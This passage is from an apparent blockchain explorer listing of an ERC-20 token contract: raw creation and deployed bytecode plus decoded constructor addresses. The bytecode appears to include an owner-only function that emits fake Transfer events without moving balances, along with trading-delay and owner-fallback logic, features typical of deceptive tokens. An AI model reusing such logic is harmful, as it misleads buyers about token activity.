b5f808211156119e1576119d183611ac7565b156119e0576119df83611b19565b5b5b6001905092915050565b505050565b5f838311158290611a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2e9190611d98565b60405180910390fd5b505f8385611a4591906121fa565b9050809150509392505050565b5f808284611a6091906122a1565b905083811015611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c90612947565b60405180910390fd5b8091505092915050565b505050565b5f80611abe611ba1565b90508091505090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b611b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c43565b611b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b95906129d5565b60405180910390fd5b50565b5f8073ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c1d5760015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c3e565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f4382119050919050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611c7f82611c56565b9050919050565b611c8f81611c75565b8114611c99575f80fd5b50565b5f81359050611caa81611c86565b92915050565b5f60208284031215611cc557611cc4611c4e565b5b5f611cd284828501611c9c565b91505092915050565b5f8115159050919050565b611cef81611cdb565b82525050565b5f602082019050611d085f830184611ce6565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611d45578082015181840152602081019050611d2a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611d6a82611d0e565b611d748185611d18565b9350611d84818560208601611d28565b611d8d81611d50565b840191505092915050565b5f6020820190508181035f830152611db08184611d60565b905092915050565b611dc181611c75565b82525050565b5f602082019050611dda5f830184611db8565b92915050565b5f819050919050565b611df281611de0565b8114611dfc575f80fd5b50565b5f81359050611e0d81611de9565b92915050565b5f8060408385031215611e2957611e28611c4e565b5b5f611e3685828601611c9c565b9250506020611e4785828601611dff565b9150509250929050565b611e5a81611de0565b82525050565b5f602082019050611e735f830184611e51565b92915050565b5f805f60608486031215611e9057611e8f611c4e565b5b5f611e9d86828701611c9c565b9350506020611eae86828701611c9c565b9250506040611ebf86828701611dff565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112611eea57611ee9611ec9565b5b8235905067ffffffffffffffff811115611f0757611f06611ecd565b5b602083019150836020820283011115611f2357611f22611ed1565b5b9250929050565b5f805f60408486031215611f4157611f40611c4e565b5b5f84013567ffffffffffffffff811115611f5e57611f5d611c52565b5b611f6a86828701611ed5565b93509350506020611f7d86828701611dff565b9150509250925092565b5f60ff82169050919050565b611f9c81611f87565b82525050565b5f602082019050611fb55f830184611f93565b92915050565b5f611fc582611c75565b9050919050565b611fd581611fbb565b8114611fdf575f80fd5b50565b5f81359050611ff081611fcc565b92915050565b5f806040838503121561200c5761200b611c4e565b5b5f61201985828601611dff565b925050602061202a85828601611fe2565b9150509250929050565b5f63ffffffff82169050919050565b61204c81612034565b8114612056575f80fd5b50565b5f8135905061206781612043565b92915050565b5f806040838503121561208357612082611c4e565b5b5f61209085828601611c9c565b92505060206120a185828601612059565b9150509250929050565b5f80604083850312156120c1576120c0611c4e565b5b5f6120ce85828601611c9c565b92505060206120df85828601611c9c565b9150509250929050565b6120f281611cdb565b81146120fc575f80fd5b50565b5f8135905061210d816120e9565b92915050565b5f805f6040848603121561212a57612129611c4e565b5b5f84013567ffffffffffffffff81111561214757612146611c52565b5b61215386828701611ed5565b93509350506020612166868287016120ff565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806121b457607f821691505b6020821081036121c7576121c6612170565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61220482611de0565b915061220f83611de0565b9250828203905081811115612227576122266121cd565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f61226482611de0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612296576122956121cd565b5b600182019050919050565b5f6122ab82611de0565b91506122b683611de0565b92508282019050808211156122ce576122cd6121cd565b5b92915050565b7f436f756c64204e6f742053656e640000000000000000000000000000000000005f82015250565b5f612308600e83611d18565b9150612313826122d4565b602082019050919050565b5f6020820190508181035f830152612335816122fc565b9050919050565b5f60408201905061234f5f830185611db8565b61235c6020830184611e51565b9392505050565b5f81519050612371816120e9565b92915050565b5f6020828403121561238c5761238b611c4e565b5b5f61239984828501612363565b91505092915050565b7f436f756c64204e6f7420537061776e00000000000000000000000000000000005f82015250565b5f6123d6600f83611d18565b91506123e1826123a2565b602082019050919050565b5f6020820190508181035f830152612403816123ca565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612464602583611d18565b915061246f8261240a565b604082019050919050565b5f6020820190508181035f83015261249181612458565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6124f2602683611d18565b91506124fd82612498565b604082019050919050565b5f6020820190508181035f83015261251f816124e6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612580602483611d18565b915061258b82612526565b604082019050919050565b5f6020820190508181035f8301526125ad81612574565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61260e602283611d18565b9150612619826125b4565b604082019050919050565b5f6020820190508181035f83015261263b81612602565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612676601d83611d18565b915061268182612642565b602082019050919050565b5f6020820190508181035f8301526126a38161266a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612704602583611d18565b915061270f826126aa565b604082019050919050565b5f6020820190508181035f830152612731816126f8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612792602383611d18565b915061279d82612738565b604082019050919050565b5f6020820190508181035f8301526127bf81612786565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612820602983611d18565b915061282b826127c6565b604082019050919050565b5f6020820190508181035f83015261284d81612814565b9050919050565b50565b5f6128625f83611d18565b915061286d82612854565b5f82019050919050565b5f6020820190508181035f83015261288e81612857565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6128c9602083611d18565b91506128d482612895565b602082019050919050565b5f6020820190508181035f8301526128f6816128bd565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612931601b83611d18565b915061293c826128fd565b602082019050919050565b5f6020820190508181035f83015261295e81612925565b9050919050565b7f5472616e736665722044656c617920656e61626c65642e20204f6e6c79206f6e5f8201527f652070757263686173652070657220626c6f636b20616c6c6f7765642e000000602082015250565b5f6129bf603d83611d18565b91506129ca82612965565b604082019050919050565b5f6020820190508181035f8301526129ec816129b3565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a2646970667358221220571c243dfa7d223aa8c12a9e8b68576cc582810c37f5b9dc2a45ef8f12875bc964736f6c634300081400330000000000000000000000003835f6db319d063db04c645d3196a8e0f0998c67000000000000000000000000ec950cb212b45e1939f72337d49ce335ba7f710c

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610204575f3560e01c806361d42a2411610118578063a457c2d7116100ab578063d5abeb011161007a578063d5abeb01146105f6578063dd62ed3e14610614578063e89c4a6914610644578063ebad8f1614610660578063f2fde38b1461066a57610204565b8063a457c2d71461055c578063a9059cbb1461058c578063b7f4e899146105bc578063c2b7bbb6146105da57610204565b80638d981e36116100e75780638d981e36146104e45780638da5cb5b1461050257806395d89b41146105205780639c9b4cdb1461053e57610204565b806361d42a241461044a57806370a082311461047a578063715018a6146104aa5780637c70f3bf146104b457610204565b806323b872dd1161019b578063395093511161016a57806339509351146103a457806342a5880c146103d4578063486d910f146103f257806349bd5a5e1461040e5780634ed9428e1461042c57610204565b806323b872dd1461031c57806326ededb81461034c5780632d3e69ea14610368578063313ce5671461038657610204565b806312fa6feb116101d757806312fa6feb146102a457806318160ddd146102c257806319e99550146102e057806321f83c43146102fe57610204565b80630253b1fd1461020857806306fdde03146102385780630754617214610256578063095ea7b314610274575b5f80fd5b610222600480360381019061021d9190611cb0565b610686565b60405161022f9190611cf5565b60405180910390f35b6102406106a3565b60405161024d9190611d98565b60405180910390f35b61025e610733565b60405161026b9190611dc7565b60405180910390f35b61028e60048036038101906102899190611e13565b610758565b60405161029b9190611cf5565b60405180910390f35b6102ac61077a565b6040516102b99190611cf5565b60405180910390f35b6102ca61078c565b6040516102d79190611e60565b60405180910390f35b6102e8610795565b6040516102f59190611e60565b60405180910390f35b6103066107c7565b6040516103139190611e60565b60405180910390f35b61033660048036038101906103319190611e79565b6107cd565b6040516103439190611cf5565b60405180910390f35b61036660048036038101906103619190611f2a565b6107fb565b005b6103706108d6565b60405161037d9190611cf5565b60405180910390f35b61038e6108eb565b60405161039b9190611fa2565b60405180910390f35b6103be60048036038101906103b99190611e13565b6108f3565b6040516103cb9190611cf5565b60405180910390f35b6103dc610929565b6040516103e99190611e60565b60405180910390f35b61040c60048036038101906104079190611ff6565b61094d565b005b610416610a76565b6040516104239190611dc7565b60405180910390f35b610434610a9b565b6040516104419190611e60565b60405180910390f35b610464600480360381019061045f9190611cb0565b610abf565b6040516104719190611cf5565b60405180910390f35b610494600480360381019061048f9190611cb0565b610b11565b6040516104a19190611e60565b60405180910390f35b6104b2610b57565b005b6104ce60048036038101906104c9919061206d565b610b6a565b6040516104db9190611cf5565b60405180910390f35b6104ec610b94565b6040516104f99190611dc7565b60405180910390f35b61050a610bb9565b6040516105179190611dc7565b60405180910390f35b610528610be1565b6040516105359190611d98565b60405180910390f35b610546610c71565b6040516105539190611dc7565b60405180910390f35b61057660048036038101906105719190611e13565b610c95565b6040516105839190611cf5565b60405180910390f35b6105a660048036038101906105a19190611e13565b610d0a565b6040516105b39190611cf5565b60405180910390f35b6105c4610d2c565b6040516105d19190611e60565b60405180910390f35b6105f460048036038101906105ef9190611cb0565b610d50565b005b6105fe610d9b565b60405161060b9190611e60565b60405180910390f35b61062e600480360381019061062991906120ab565b610dbf565b60405161063b9190611e60565b60405180910390f35b61065e60048036038101906106599190612113565b610e41565b005b610668610eea565b005b610684600480360381019061067f9190611cb0565b610f47565b005b6002602052805f5260405f205f915054906101000a900460ff1681565b6060600980546106b29061219d565b80601f01602080910402602001604051908101604052809291908181526020018280546106de9061219d565b80156107295780601f1061070057610100808354040283529160200191610729565b820191905f5260205f20905b81548152906001019060200180831161070c57829003601f168201915b5050505050905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f80610762610fc9565b905061076f818585610fd0565b600191505092915050565b600f5f9054906101000a900460ff1681565b5f600854905090565b5f7f000000000000000000000000000000000000000000000000000000000126b6e0436107c291906121fa565b905090565b61070881565b5f806107d7610fc9565b90506107e4858285611193565b6107ef85858561121e565b60019150509392505050565b61080361187e565b5f5b838390508110156108d0578383828181106108235761082261222d565b5b90506020020160208101906108389190611cb0565b73ffffffffffffffffffffffffffffffffffffffff16600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108b59190611e60565b60405180910390a380806108c89061225a565b915050610805565b50505050565b5f60045f9054906101000a900460ff16905090565b5f6009905090565b5f806108fd610fc9565b905061091e81858561090f8589610dbf565b61091991906122a1565b610fd0565b600191505092915050565b7f0000000000000000000000000000000000000000000000000000000065dd01cf81565b61097933600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846107cd565b6109b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109af9061231e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a1e463d833846040518363ffffffff1660e01b81526004016109f392919061233c565b6020604051808303815f875af1158015610a0f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a339190612377565b610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906123ec565b60405180910390fd5b5050565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f0000000000000000000000000000000000000000000000000de0b6b3a764000081565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b5f61187e565b610b685f6118fc565b565b600e602052815f5260405f20602052805f5260405f205f915091509054906101000a900460ff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610bf09061219d565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1c9061219d565b8015610c675780601f10610c3e57610100808354040283529160200191610c67565b820191905f5260205f20905b815481529060010190602001808311610c4a57829003601f168201915b5050505050905090565b7f0000000000000000000000003835f6db319d063db04c645d3196a8e0f0998c6781565b5f80610c9f610fc9565b90505f610cac8286610dbf565b905083811015610cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce89061247a565b60405180910390fd5b610cfe8286868403610fd0565b60019250505092915050565b5f80610d14610fc9565b9050610d2181858561121e565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000126b6e081565b610d5861187e565b80600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f0000000000000000000000000000000000000000000000000de0b6b3a764000081565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e4961187e565b5f5b83839050811015610ee4578160025f868685818110610e6d57610e6c61222d565b5b9050602002016020810190610e829190611cb0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610edc9061225a565b915050610e4b565b50505050565b610ef261187e565b6001151560045f9054906101000a900460ff16151503610f2a575f60045f6101000a81548160ff021916908315150217905550610f45565b600160045f6101000a81548160ff0219169083151502179055505b565b610f4f61187e565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb490612508565b60405180910390fd5b610fc6816118fc565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361103e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103590612596565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a390612624565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111869190611e60565b60405180910390a3505050565b5f61119e8484610dbf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611218578181101561120a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112019061268c565b60405180910390fd5b6112178484848403610fd0565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361128c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112839061271a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f1906127a8565b60405180910390fd5b5f811161133c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133390612836565b60405180910390fd5b4360075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061138883826119bf565b506001151560045f9054906101000a900460ff16151514806113dc57506113ad610bb9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061141957506113ea610bb9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156118235760035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156114bb575060035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611671576114cb8383836119eb565b611535816040518060600160405280602681526020016129f46026913960055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119f09092919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506115c68160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a5290919063ffffffff16565b60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116649190611e60565b60405180910390a361181e565b61167c838383611aaf565b6116e6816040518060600160405280602681526020016129f46026913960055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119f09092919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117778160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a5290919063ffffffff16565b60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118159190611e60565b60405180910390a35b611879565b6001151560045f9054906101000a900460ff16151514611878576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186f90612877565b60405180910390fd5b5b505050565b611886610fc9565b73ffffffffffffffffffffffffffffffffffffffff166118a4611ab4565b73ffffffffffffffffffffffffffffffffffffffff16146118fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f1906128df565b60405180910390fd5b565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808211156119e1576119d183611ac7565b156119e0576119df83611b19565b5b5b6001905092915050565b505050565b5f838311158290611a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2e9190611d98565b60405180910390fd5b505f8385611a4591906121fa565b9050809150509392505050565b5f808284611a6091906122a1565b905083811015611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c90612947565b60405180910390fd5b8091505092915050565b505050565b5f80611abe611ba1565b90508091505090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b611b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c43565b611b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b95906129d5565b60405180910390fd5b50565b5f8073ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c1d5760015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c3e565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f4382119050919050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611c7f82611c56565b9050919050565b611c8f81611c75565b8114611c99575f80fd5b50565b5f81359050611caa81611c86565b92915050565b5f60208284031215611cc557611cc4611c4e565b5b5f611cd284828501611c9c565b91505092915050565b5f8115159050919050565b611cef81611cdb565b82525050565b5f602082019050611d085f830184611ce6565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611d45578082015181840152602081019050611d2a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611d6a82611d0e565b611d748185611d18565b9350611d84818560208601611d28565b611d8d81611d50565b840191505092915050565b5f6020820190508181035f830152611db08184611d60565b905092915050565b611dc181611c75565b82525050565b5f602082019050611dda5f830184611db8565b92915050565b5f819050919050565b611df281611de0565b8114611dfc575f80fd5b50565b5f81359050611e0d81611de9565b92915050565b5f8060408385031215611e2957611e28611c4e565b5b5f611e3685828601611c9c565b9250506020611e4785828601611dff565b9150509250929050565b611e5a81611de0565b82525050565b5f602082019050611e735f830184611e51565b92915050565b5f805f60608486031215611e9057611e8f611c4e565b5b5f611e9d86828701611c9c565b9350506020611eae86828701611c9c565b9250506040611ebf86828701611dff565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112611eea57611ee9611ec9565b5b8235905067ffffffffffffffff811115611f0757611f06611ecd565b5b602083019150836020820283011115611f2357611f22611ed1565b5b9250929050565b5f805f60408486031215611f4157611f40611c4e565b5b5f84013567ffffffffffffffff811115611f5e57611f5d611c52565b5b611f6a86828701611ed5565b93509350506020611f7d86828701611dff565b9150509250925092565b5f60ff82169050919050565b611f9c81611f87565b82525050565b5f602082019050611fb55f830184611f93565b92915050565b5f611fc582611c75565b9050919050565b611fd581611fbb565b8114611fdf575f80fd5b50565b5f81359050611ff081611fcc565b92915050565b5f806040838503121561200c5761200b611c4e565b5b5f61201985828601611dff565b925050602061202a85828601611fe2565b9150509250929050565b5f63ffffffff82169050919050565b61204c81612034565b8114612056575f80fd5b50565b5f8135905061206781612043565b92915050565b5f806040838503121561208357612082611c4e565b5b5f61209085828601611c9c565b92505060206120a185828601612059565b9150509250929050565b5f80604083850312156120c1576120c0611c4e565b5b5f6120ce85828601611c9c565b92505060206120df85828601611c9c565b9150509250929050565b6120f281611cdb565b81146120fc575f80fd5b50565b5f8135905061210d816120e9565b92915050565b5f805f6040848603121561212a57612129611c4e565b5b5f84013567ffffffffffffffff81111561214757612146611c52565b5b61215386828701611ed5565b93509350506020612166868287016120ff565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806121b457607f821691505b6020821081036121c7576121c6612170565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61220482611de0565b915061220f83611de0565b9250828203905081811115612227576122266121cd565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f61226482611de0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612296576122956121cd565b5b600182019050919050565b5f6122ab82611de0565b91506122b683611de0565b92508282019050808211156122ce576122cd6121cd565b5b92915050565b7f436f756c64204e6f742053656e640000000000000000000000000000000000005f82015250565b5f612308600e83611d18565b9150612313826122d4565b602082019050919050565b5f6020820190508181035f830152612335816122fc565b9050919050565b5f60408201905061234f5f830185611db8565b61235c6020830184611e51565b9392505050565b5f81519050612371816120e9565b92915050565b5f6020828403121561238c5761238b611c4e565b5b5f61239984828501612363565b91505092915050565b7f436f756c64204e6f7420537061776e00000000000000000000000000000000005f82015250565b5f6123d6600f83611d18565b91506123e1826123a2565b602082019050919050565b5f6020820190508181035f830152612403816123ca565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612464602583611d18565b915061246f8261240a565b604082019050919050565b5f6020820190508181035f83015261249181612458565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6124f2602683611d18565b91506124fd82612498565b604082019050919050565b5f6020820190508181035f83015261251f816124e6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612580602483611d18565b915061258b82612526565b604082019050919050565b5f6020820190508181035f8301526125ad81612574565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61260e602283611d18565b9150612619826125b4565b604082019050919050565b5f6020820190508181035f83015261263b81612602565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612676601d83611d18565b915061268182612642565b602082019050919050565b5f6020820190508181035f8301526126a38161266a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612704602583611d18565b915061270f826126aa565b604082019050919050565b5f6020820190508181035f830152612731816126f8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612792602383611d18565b915061279d82612738565b604082019050919050565b5f6020820190508181035f8301526127bf81612786565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612820602983611d18565b915061282b826127c6565b604082019050919050565b5f6020820190508181035f83015261284d81612814565b9050919050565b50565b5f6128625f83611d18565b915061286d82612854565b5f82019050919050565b5f6020820190508181035f83015261288e81612857565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6128c9602083611d18565b91506128d482612895565b602082019050919050565b5f6020820190508181035f8301526128f6816128bd565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612931601b83611d18565b915061293c826128fd565b602082019050919050565b5f6020820190508181035f83015261295e81612925565b9050919050565b7f5472616e736665722044656c617920656e61626c65642e20204f6e6c79206f6e5f8201527f652070757263686173652070657220626c6f636b20616c6c6f7765642e000000602082015250565b5f6129bf603d83611d18565b91506129ca82612965565b604082019050919050565b5f6020820190508181035f8301526129ec816129b3565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a2646970667358221220571c243dfa7d223aa8c12a9e8b68576cc582810c37f5b9dc2a45ef8f12875bc964736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000003835f6db319d063db04c645d3196a8e0f0998c67000000000000000000000000ec950cb212b45e1939f72337d49ce335ba7f710c

-----Decoded View---------------
Arg [0] : initialLPAddress (address): 0x3835F6db319d063dB04c645D3196a8E0F0998C67
Arg [1] : distributor_ (address): 0xEc950cb212B45E1939F72337d49CE335Ba7f710C

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000003835f6db319d063db04c645d3196a8e0f0998c67
Arg [1] : 000000000000000000000000ec950cb212b45e1939f72337d49ce335ba7f710c


Deployed Bytecode Sourcemap

